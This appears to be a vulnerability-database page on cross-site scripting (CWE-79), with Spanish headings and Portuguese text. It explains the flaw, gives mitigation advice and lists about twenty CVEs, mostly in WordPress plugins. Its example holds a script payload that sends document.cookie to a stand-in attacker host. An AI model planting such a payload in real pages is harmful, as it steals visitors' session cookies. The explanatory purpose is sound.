Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-34385MEDIUMWordPress YITH WooCommerce Wishlist plugin <= 3.32.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43946MEDIUMWordPress SKT Blocks plugin <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-47946MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-24708HIGHWordPress WP Dynamics CRM plugin <= 1.1.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47382MEDIUMWordPress Page-list plugin <= 5.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43133MEDIUMWordPress Themify Shortcodes plugin <= 2.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43353MEDIUMWordPress myCred plugin <= 2.7.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-48280MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-47633MEDIUMWordPress Zoho forms plugin <= 4.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-49290HIGHWordPress Off-Canvas Sidebars & Menus (Slidebars) plugin <= 0.5.8.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-45460MEDIUMWordPress Flipping Cards plugin <= 1.30 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43949MEDIUMWordPress GHActivity plugin <= 2.0.0-alpha - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37447MEDIUMWordPress PixelYourSite plugin <= 9.6.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24598HIGHWordPress WP Mailster plugin <= 1.8.17.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37248MEDIUMWordPress Anima theme <= 1.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43291MEDIUMWordPress Void Contact Form 7 Widget For Elementor Page Builder plugin <= 2.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27004HIGHWordPress Famous - Responsive Image And Video Grid Gallery WordPress Plugin plugin <= 1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-3825MEDIUMWellChoose|IFTOP - Reflected Cross-site ScriptingEPSS 0.3%CVE-2024-50462MEDIUMWordPress Interactive World Map plugin <= 3.4.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47363MEDIUMWordPress Blockspare plugin <= 3.2.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%